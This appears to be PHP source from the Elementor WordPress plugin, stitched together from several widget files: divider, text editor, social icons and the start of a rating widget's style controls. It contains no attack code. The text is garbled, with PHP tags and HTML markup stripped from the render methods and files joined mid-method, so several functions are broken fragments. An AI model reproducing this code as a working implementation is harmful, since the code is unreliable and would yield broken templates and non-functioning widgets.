Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_SECONDARY, ], 'selectors' => [ '{{WRAPPER}} .elementor-divider__text' => 'color: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'typography', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_SECONDARY, ], 'selector' => '{{WRAPPER}} .elementor-divider__text', ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'text_stroke', 'selector' => '{{WRAPPER}} .elementor-divider__text', ] ); $this->add_control( 'text_align', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'default' => 'center', 'prefix_class' => 'elementor-widget-divider--element-align-', ] ); $this->add_responsive_control( 'text_spacing', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], '%' => [ 'max' => 50, ], 'em' => [ 'max' => 5, ], 'rem' => [ 'max' => 5, ], 'vw' => [ 'max' => 50, ], ], 'selectors' => [ '{{WRAPPER}}' => '--divider-element-spacing: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_icon_style', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'look' => 'line_icon', ], ] ); $this->add_control( 'icon_view', [ 'label' => esc_html__( 'View', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'stacked' => esc_html__( 'Stacked', 'elementor' ), 'framed' => esc_html__( 'Framed', 'elementor' ), ], 'default' => 'default', 'prefix_class' => 'elementor-view-', ] ); $this->add_responsive_control( 'icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}}' => '--divider-icon-size: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'icon_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'padding: {{SIZE}}{{UNIT}};', ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'min' => 0, 'max' => 5, ], 'rem' => [ 'min' => 0, 'max' => 5, ], ], 'condition' => [ 'icon_view!' => 'default', ], ] ); $this->add_control( 'primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}.elementor-view-stacked .elementor-icon' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-framed .elementor-icon, {{WRAPPER}}.elementor-view-default .elementor-icon' => 'color: {{VALUE}}; border-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-framed .elementor-icon, {{WRAPPER}}.elementor-view-default .elementor-icon svg' => 'fill: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_SECONDARY, ], ] ); $this->add_control( 'secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'icon_view!' => 'default', ], 'selectors' => [ '{{WRAPPER}}.elementor-view-framed .elementor-icon' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-stacked .elementor-icon' => 'color: {{VALUE}};', '{{WRAPPER}}.elementor-view-stacked .elementor-icon svg' => 'fill: {{VALUE}};', ], ] ); $this->add_control( 'icon_align', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'default' => 'center', 'prefix_class' => 'elementor-widget-divider--element-align-', 'separator' => 'before', ] ); $this->add_responsive_control( 'icon_spacing', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'max' => 5, ], 'rem' => [ 'max' => 5, ], ], 'selectors' => [ '{{WRAPPER}}' => '--divider-element-spacing: {{SIZE}}{{UNIT}}', ], 'separator' => 'before', ] ); $this->add_responsive_control( 'rotate', [ 'label' => esc_html__( 'Rotate', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'deg', 'grad', 'rad', 'turn', 'custom' ], 'default' => [ 'unit' => 'deg', ], 'tablet_default' => [ 'unit' => 'deg', ], 'mobile_default' => [ 'unit' => 'deg', ], 'selectors' => [ '{{WRAPPER}} .elementor-icon i, {{WRAPPER}} .elementor-icon svg' => 'transform: rotate({{SIZE}}{{UNIT}})', ], ] ); $this->add_control( 'icon_border_width', [ 'label' => esc_html__( 'Border Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 20, ], 'em' => [ 'max' => 2, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'border-width: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'icon_view' => 'framed', ], ] ); $this->add_control( 'border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'border-radius: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'icon_view!' => 'default', ], ] ); $this->end_controls_section(); } /** * Build SVG * * Build SVG element markup based on the widgets settings. * * @return string - An SVG element. * * @since 2.7.0 * @access private */ private function build_svg() { $settings = $this->get_settings_for_display(); if ( 'pattern' !== $settings['separator_type'] || empty( $settings['style'] ) ) { return ''; } $svg_shapes = $this->get_separator_styles(); $selected_pattern = $svg_shapes[ $settings['style'] ]; $preserve_aspect_ratio = $selected_pattern['preserve_aspect_ratio'] ? 'xMidYMid meet' : 'none'; $view_box = isset( $selected_pattern['view_box'] ) ? $selected_pattern['view_box'] : '0 0 24 24'; $attr = [ 'preserveAspectRatio' => $preserve_aspect_ratio, 'overflow' => 'visible', 'height' => '100%', 'viewBox' => $view_box, ]; if ( 'line' !== $selected_pattern['group'] ) { $attr['fill'] = 'black'; $attr['stroke'] = 'none'; } else { $attr['fill'] = 'none'; $attr['stroke'] = 'black'; $attr['stroke-width'] = $settings['weight']['size']; $attr['stroke-linecap'] = 'square'; $attr['stroke-miterlimit'] = '10'; } $this->add_render_attribute( 'svg', $attr ); $pattern_attribute_string = $this->get_render_attribute_string( 'svg' ); $shape = $selected_pattern['shape']; return '' . $shape . ''; } public function svg_to_data_uri( $svg ) { return str_replace( [ '<', '>', '"', '#' ], [ '%3C', '%3E', "'", '%23' ], $svg ); } /** * Render divider widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $svg_code = $this->build_svg(); $has_icon = 'line_icon' === ( $settings['look'] ) && ! empty( $settings['icon'] ); $has_text = 'line_text' === ( $settings['look'] ) && ! empty( $settings['text'] ); $this->add_render_attribute( 'wrapper', 'class', 'elementor-divider' ); if ( ! empty( $svg_code ) ) { $this->add_render_attribute( 'wrapper', 'style', '--divider-pattern-url: url("data:image/svg+xml,' . $this->svg_to_data_uri( $svg_code ) . '");' ); } ?>
print_render_attribute_string( 'wrapper' ); ?>>
'true', ] ); ?>
add_inline_editing_attributes( 'text' ); $this->add_render_attribute( 'text', [ 'class' => [ 'elementor-divider__text', 'elementor-divider__element' ] ] ); ?> < print_render_attribute_string( 'text' ); ?>> >
start_controls_section( 'section_editor', [ 'label' => esc_html__( 'Text Editor', 'elementor' ), ] ); $this->add_control( 'editor', [ 'label' => '', 'type' => Controls_Manager::WYSIWYG, 'default' => '

' . esc_html__( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ) . '

', ] ); $this->add_control( 'drop_cap', [ 'label' => esc_html__( 'Drop Cap', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Off', 'elementor' ), 'label_on' => esc_html__( 'On', 'elementor' ), 'prefix_class' => 'elementor-drop-cap-', 'frontend_available' => true, ] ); $this->add_responsive_control( 'text_columns', [ 'label' => esc_html__( 'Columns', 'elementor' ), 'type' => Controls_Manager::SELECT, 'separator' => 'before', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), '1' => esc_html__( '1', 'elementor' ), '2' => esc_html__( '2', 'elementor' ), '3' => esc_html__( '3', 'elementor' ), '4' => esc_html__( '4', 'elementor' ), '5' => esc_html__( '5', 'elementor' ), '6' => esc_html__( '6', 'elementor' ), '7' => esc_html__( '7', 'elementor' ), '8' => esc_html__( '8', 'elementor' ), '9' => esc_html__( '9', 'elementor' ), '10' => esc_html__( '10', 'elementor' ), ], 'selectors' => [ '{{WRAPPER}}' => 'columns: {{VALUE}};', ], ] ); $this->add_responsive_control( 'column_gap', [ 'label' => esc_html__( 'Columns Gap', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], '%' => [ 'max' => 10, 'step' => 0.1, ], 'vw' => [ 'max' => 10, 'step' => 0.1, ], 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}}' => 'column-gap: {{SIZE}}{{UNIT}};', ], 'conditions' => [ 'relation' => 'or', 'terms' => [ [ 'name' => 'text_columns', 'operator' => '>', 'value' => 1, ], [ 'name' => 'text_columns', 'operator' => '===', 'value' => '', ], ], ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style', [ 'label' => esc_html__( 'Text Editor', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], 'justify' => [ 'title' => esc_html__( 'Justified', 'elementor' ), 'icon' => 'eicon-text-align-justify', ], ], 'selectors' => [ '{{WRAPPER}}' => 'text-align: {{VALUE}};', ], ] ); $this->add_control( 'text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_TEXT, ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'typography', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'text_shadow', 'selector' => '{{WRAPPER}}', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_drop_cap', [ 'label' => esc_html__( 'Drop Cap', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'drop_cap' => 'yes', ], ] ); $this->add_control( 'drop_cap_view', [ 'label' => esc_html__( 'View', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'stacked' => esc_html__( 'Stacked', 'elementor' ), 'framed' => esc_html__( 'Framed', 'elementor' ), ], 'default' => 'default', 'prefix_class' => 'elementor-drop-cap-view-', ] ); $this->add_control( 'drop_cap_primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}.elementor-drop-cap-view-stacked .elementor-drop-cap' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-drop-cap-view-framed .elementor-drop-cap, {{WRAPPER}}.elementor-drop-cap-view-default .elementor-drop-cap' => 'color: {{VALUE}}; border-color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], ] ); $this->add_control( 'drop_cap_secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}.elementor-drop-cap-view-framed .elementor-drop-cap' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-drop-cap-view-stacked .elementor-drop-cap' => 'color: {{VALUE}};', ], 'condition' => [ 'drop_cap_view!' => 'default', ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'drop_cap_shadow', 'selector' => '{{WRAPPER}} .elementor-drop-cap', ] ); $this->add_control( 'drop_cap_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'default' => [ 'size' => 5, ], 'range' => [ 'px' => [ 'max' => 30, ], 'em' => [ 'max' => 3, ], 'rem' => [ 'max' => 3, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-drop-cap' => 'padding: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'drop_cap_view!' => 'default', ], ] ); $this->add_control( 'drop_cap_space', [ 'label' => esc_html__( 'Space', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'default' => [ 'size' => 10, ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'max' => 5, ], 'rem' => [ 'max' => 5, ], ], 'selectors' => [ 'body:not(.rtl) {{WRAPPER}} .elementor-drop-cap' => 'margin-right: {{SIZE}}{{UNIT}};', 'body.rtl {{WRAPPER}} .elementor-drop-cap' => 'margin-left: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'drop_cap_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'unit' => '%', ], 'range' => [ '%' => [ 'max' => 50, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-drop-cap' => 'border-radius: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'drop_cap_view!' => 'default', ], ] ); $this->add_control( 'drop_cap_border_width', [ 'label' => esc_html__( 'Border Width', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-drop-cap' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'condition' => [ 'drop_cap_view' => 'framed', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'drop_cap_typography', 'selector' => '{{WRAPPER}} .elementor-drop-cap-letter', 'exclude' => [ 'letter_spacing', ], ] ); $this->end_controls_section(); } /** * Render text editor widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $should_render_inline_editing = Plugin::$instance->editor->is_edit_mode(); $editor_content = $this->get_settings_for_display( 'editor' ); $editor_content = $this->parse_text_editor( $editor_content ); if ( empty( $editor_content ) ) { return; } if ( $should_render_inline_editing ) { $this->add_render_attribute( 'editor', 'class', [ 'elementor-text-editor', 'elementor-clearfix' ] ); } $this->add_inline_editing_attributes( 'editor', 'advanced' ); ?>
print_render_attribute_string( 'editor' ); ?>>
print_unescaped_setting( 'editor' ); } /** * Render text editor widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() { ?> <# if ( '' === settings.editor ) { return; } const shouldRenderInlineEditing = elementorFrontend.isEditMode(); if ( shouldRenderInlineEditing ) { view.addRenderAttribute( 'editor', 'class', [ 'elementor-text-editor', 'elementor-clearfix' ] ); } view.addInlineEditingAttributes( 'editor', 'advanced' ); if ( shouldRenderInlineEditing ) { #>
<# } #> {{{ settings.editor }}} <# if ( shouldRenderInlineEditing ) { #>
<# } #> start_controls_section( 'section_social_icon', [ 'label' => esc_html__( 'Social Icons', 'elementor' ), ] ); $repeater = new Repeater(); $repeater->add_control( 'social_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'social', 'default' => [ 'value' => 'fab fa-wordpress', 'library' => 'fa-brands', ], 'recommended' => [ 'fa-brands' => [ 'android', 'apple', 'behance', 'bitbucket', 'codepen', 'delicious', 'deviantart', 'digg', 'dribbble', 'elementor', 'facebook', 'flickr', 'foursquare', 'free-code-camp', 'github', 'gitlab', 'globe', 'houzz', 'instagram', 'jsfiddle', 'linkedin', 'medium', 'meetup', 'mix', 'mixcloud', 'odnoklassniki', 'pinterest', 'product-hunt', 'reddit', 'shopping-cart', 'skype', 'slideshare', 'snapchat', 'soundcloud', 'spotify', 'stack-overflow', 'steam', 'telegram', 'thumb-tack', 'threads', 'tripadvisor', 'tumblr', 'twitch', 'twitter', 'viber', 'vimeo', 'vk', 'weibo', 'weixin', 'whatsapp', 'wordpress', 'xing', 'x-twitter', 'yelp', 'youtube', '500px', ], 'fa-solid' => [ 'envelope', 'link', 'rss', ], ], ] ); $repeater->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'default' => [ 'is_external' => 'true', ], 'dynamic' => [ 'active' => true, ], ] ); $repeater->add_control( 'item_icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Official Color', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); $repeater->add_control( 'item_icon_primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'item_icon_color' => 'custom', ], 'selectors' => [ '{{WRAPPER}} {{CURRENT_ITEM}}.elementor-social-icon' => 'background-color: {{VALUE}};', ], ] ); $repeater->add_control( 'item_icon_secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'item_icon_color' => 'custom', ], 'selectors' => [ '{{WRAPPER}} {{CURRENT_ITEM}}.elementor-social-icon i' => 'color: {{VALUE}};', '{{WRAPPER}} {{CURRENT_ITEM}}.elementor-social-icon svg' => 'fill: {{VALUE}};', ], ] ); $this->add_control( 'social_icon_list', [ 'label' => esc_html__( 'Social Icons', 'elementor' ), 'type' => Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'default' => [ [ 'social_icon' => [ 'value' => 'fab fa-facebook', 'library' => 'fa-brands', ], ], [ 'social_icon' => [ 'value' => 'fab fa-twitter', 'library' => 'fa-brands', ], ], [ 'social_icon' => [ 'value' => 'fab fa-youtube', 'library' => 'fa-brands', ], ], ], 'title_field' => '<# var migrated = "undefined" !== typeof __fa4_migrated, social = ( "undefined" === typeof social ) ? false : social; #>{{{ elementor.helpers.getSocialNetworkNameFromIcon( social_icon, social, true, migrated, true ) }}}', ] ); $this->add_control( 'shape', [ 'label' => esc_html__( 'Shape', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'rounded', 'options' => [ 'square' => esc_html__( 'Square', 'elementor' ), 'rounded' => esc_html__( 'Rounded', 'elementor' ), 'circle' => esc_html__( 'Circle', 'elementor' ), ], 'prefix_class' => 'elementor-shape-', ] ); $this->add_responsive_control( 'columns', [ 'label' => esc_html__( 'Columns', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '0', 'options' => [ '0' => esc_html__( 'Auto', 'elementor' ), '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', '6' => '6', ], 'prefix_class' => 'elementor-grid%s-', 'selectors' => [ '{{WRAPPER}}' => '--grid-template-columns: repeat({{VALUE}}, auto);', ], ] ); $start = is_rtl() ? 'end' : 'start'; $end = is_rtl() ? 'start' : 'end'; $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], ], 'prefix_class' => 'e-grid-align%s-', 'default' => 'center', 'selectors' => [ '{{WRAPPER}} .elementor-widget-container' => 'text-align: {{VALUE}}', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_social_style', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Official Color', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); $this->add_control( 'icon_primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'icon_color' => 'custom', ], 'selectors' => [ '{{WRAPPER}} .elementor-social-icon' => 'background-color: {{VALUE}};', ], ] ); $this->add_control( 'icon_secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'icon_color' => 'custom', ], 'selectors' => [ '{{WRAPPER}} .elementor-social-icon i' => 'color: {{VALUE}};', '{{WRAPPER}} .elementor-social-icon svg' => 'fill: {{VALUE}};', ], ] ); $this->add_responsive_control( 'icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, // The `%' and `em` units are not supported as the widget implements icons differently then other icons. 'size_units' => [ 'px', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'min' => 6, 'max' => 300, ], ], 'selectors' => [ '{{WRAPPER}}' => '--icon-size: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'icon_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::SLIDER, // The `%' unit is not supported. 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-social-icon' => '--icon-padding: {{SIZE}}{{UNIT}}', ], 'default' => [ 'unit' => 'em', ], 'tablet_default' => [ 'unit' => 'em', ], 'mobile_default' => [ 'unit' => 'em', ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'min' => 0, 'max' => 5, ], 'rem' => [ 'min' => 0, 'max' => 5, ], ], ] ); $this->add_responsive_control( 'icon_spacing', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 10, ], 'rem' => [ 'min' => 0, 'max' => 10, ], ], 'default' => [ 'size' => 5, ], 'selectors' => [ '{{WRAPPER}}' => '--grid-column-gap: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'row_gap', [ 'label' => esc_html__( 'Rows Gap', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'default' => [ 'size' => 0, ], 'selectors' => [ '{{WRAPPER}}' => '--grid-row-gap: {{SIZE}}{{UNIT}}', ], ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'image_border', // We know this mistake - TODO: 'icon_border' (for hover control condition also) 'selector' => '{{WRAPPER}} .elementor-social-icon', 'separator' => 'before', ] ); $this->add_responsive_control( 'border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_social_hover', [ 'label' => esc_html__( 'Icon Hover', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'hover_primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'icon_color' => 'custom', ], 'selectors' => [ '{{WRAPPER}} .elementor-social-icon:hover' => 'background-color: {{VALUE}};', ], ] ); $this->add_control( 'hover_secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'icon_color' => 'custom', ], 'selectors' => [ '{{WRAPPER}} .elementor-social-icon:hover i' => 'color: {{VALUE}};', '{{WRAPPER}} .elementor-social-icon:hover svg' => 'fill: {{VALUE}};', ], ] ); $this->add_control( 'hover_border_color', [ 'label' => esc_html__( 'Border Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'image_border_border!' => '', ], 'selectors' => [ '{{WRAPPER}} .elementor-social-icon:hover' => 'border-color: {{VALUE}};', ], ] ); $this->add_control( 'hover_animation', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HOVER_ANIMATION, ] ); $this->end_controls_section(); } /** * Render social icons widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $fallback_defaults = [ 'fa fa-facebook', 'fa fa-twitter', 'fa fa-google-plus', ]; $class_animation = ''; if ( ! empty( $settings['hover_animation'] ) ) { $class_animation = ' elementor-animation-' . $settings['hover_animation']; } $migration_allowed = Icons_Manager::is_migration_allowed(); ?>
$item ) { $migrated = isset( $item['__fa4_migrated']['social_icon'] ); $is_new = empty( $item['social'] ) && $migration_allowed; $social = ''; // add old default if ( empty( $item['social'] ) && ! $migration_allowed ) { $item['social'] = isset( $fallback_defaults[ $index ] ) ? $fallback_defaults[ $index ] : 'fa fa-wordpress'; } if ( ! empty( $item['social'] ) ) { $social = str_replace( 'fa fa-', '', $item['social'] ); } if ( ( $is_new || $migrated ) && 'svg' !== $item['social_icon']['library'] ) { $social = explode( ' ', $item['social_icon']['value'], 2 ); if ( empty( $social[1] ) ) { $social = ''; } else { $social = str_replace( 'fa-', '', $social[1] ); } } if ( 'svg' === $item['social_icon']['library'] ) { $social = get_post_meta( $item['social_icon']['value']['id'], '_wp_attachment_image_alt', true ); } $link_key = 'link_' . $index; $this->add_render_attribute( $link_key, 'class', [ 'elementor-icon', 'elementor-social-icon', 'elementor-social-icon-' . $social . $class_animation, 'elementor-repeater-item-' . $item['_id'], ] ); $this->add_link_attributes( $link_key, $item['link'] ); ?> print_render_attribute_string( $link_key ); ?>>
<# var iconsHTML = {}; #>
<# _.each( settings.social_icon_list, function( item, index ) { var link = item.link ? item.link.url : '', migrated = elementor.helpers.isIconMigrated( item, 'social_icon' ); social = elementor.helpers.getSocialNetworkNameFromIcon( item.social_icon, item.social, false, migrated ); #> <# } ); #>
start_controls_section( 'section_icon_style', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 10, ], 'rem' => [ 'min' => 0, 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}}' => '--e-rating-icon-font-size: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'icon_gap', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 10, ], 'rem' => [ 'min' => 0, 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}}' => '--e-rating-gap: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => '--e-rating-icon-marked-color: {{VALUE}}', ], 'separator' => 'before', ] ); $this->add_control( 'icon_unmarked_color', [ 'label' => esc_html__( 'Unmarked Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => '--e-rating-icon-color: {{VALUE}}', ], ] ); 